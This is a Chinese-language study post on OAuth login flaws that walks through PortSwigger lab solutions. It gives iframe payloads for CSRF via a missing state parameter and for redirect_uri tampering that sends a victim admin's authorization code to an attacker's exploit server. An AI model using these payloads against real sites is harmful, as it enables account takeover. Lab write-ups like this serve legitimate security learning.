业务逻辑漏洞:身份验证OAuth

outman
15
2025-05-02

什么是OAuth

OAuth是一种常见的授权框架,它允许网站请求另一个应用程序上的用户帐户的权限,例如允许使用QQ,微信登录等,这样的网站可能就使用了OAuth框架

类型

授权码模式

隐式授权模式

授权码:

  1. 客户端向授权服务器发出请求

ET /authorize?client_id=123
              &redirect_uri=http://client-app.com/test
              &response_type=code
              &scope=profile
              &state=abcd1234 HTTP/1.1
Host: authorization-server.com

client_id:客户端在授权服务器的ID(公开)。

redirect_uri:授权完成后,授权服务器回调客户端的地址。

response_type:声明授权类型,code是授权码授权。

scope:告诉授权服务器,客户端要访问哪些用户数据,profile是仅请求用户的基本信息(如用户名、头像)。

state:随机字符串,防止CSRF。

  1. 用户再第三方登录后,确定授权

  2. 允许授权后,授权服务器会返回授权码

GET /callback?code=123456&state=abcd1234 HTTP/1.1
Host: client-app.com
  1. 客户端向授权服务器发送访问请求,用授权码换取访问令牌

{
  "access_token": "123456789",
  "token_type": "Bearer",
  "expires_in": 3600
}

access_token:访问令牌。

token_type:令牌类型,告诉客户端如何携带令牌访问资源服务器,Bearer是持有者令牌。

expires_in:令牌有效期,以秒为单位。

  1. 客户端凭借访问令牌,获取访问数据

隐式授权

//很少用了,OAuth2.1已经废弃它了,不安全,只记区别了

隐式授权不用先获取授权码,再换取访问令牌,而是用户允许授权后,直接获取访问令牌

而且一般通过 url 返回,会被看到,拿去搞坏事儿

搞洞

//靶场:http://portswigger.net/web-security/all-labs#oauth-authentication

  1. OAuth 隐式认证绕过(×)

  2. 注册资源SSRF绕过(×)

  3. scope篡改,升级范围信息获取

无 state 字段,CSRF

//cc 是坏蛋,jh 是 admin

GET /auth?client_id=womwjfhwbs6f1eq2lya6v&redirect_uri=https://0a080018035a803fd3381d05001a0081.web-
security-academy.net/oauth-login&response_type=code&scope=openid%20profile%20email HTTP/1.1
  1. 绑定社交帐号时,抓个包,发现无 state 字段,可以尝试CSRF

  2. 放行这个包,把下一个包的url 复制,放到 cc 的钓鱼网站上

  3. 诱导 jh 访问钓鱼网站,成功以管理员身份登录

<iframe src="https://0a080018035a803fd3381d05001a0081.web-security-academy.net/oauth-login?
code=ixKNyBKtiQkykrpffxN9wgMfupFN2vdMQ9PkDT-lvvy"></iframe>

redirect_uri 无白名单,篡改

  1. 绑定社交帐号时,抓个包,复制 url,丢弃包

  2. 来到cc钓鱼网站,粘贴url,把redirect_uri后的网址改成该服务器的网址

<iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
  1. 等待 jh 访问,我们就可以在服务器日志获得管理员的code

  2. 再次绑定社交帐号,放行第一个包,将第二个包的code替换成日志里的,拿下

SRC

https://mp.weixin.qq.com/s/TSsQ_mWGsFYZiF_RBdfbKg

https://mp.weixin.qq.com/s/NuNkzax8nb72qb-S1RvTnQ

https://mp.weixin.qq.com/s/QuhNuVyb2uy2T-br-mxAJw

https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A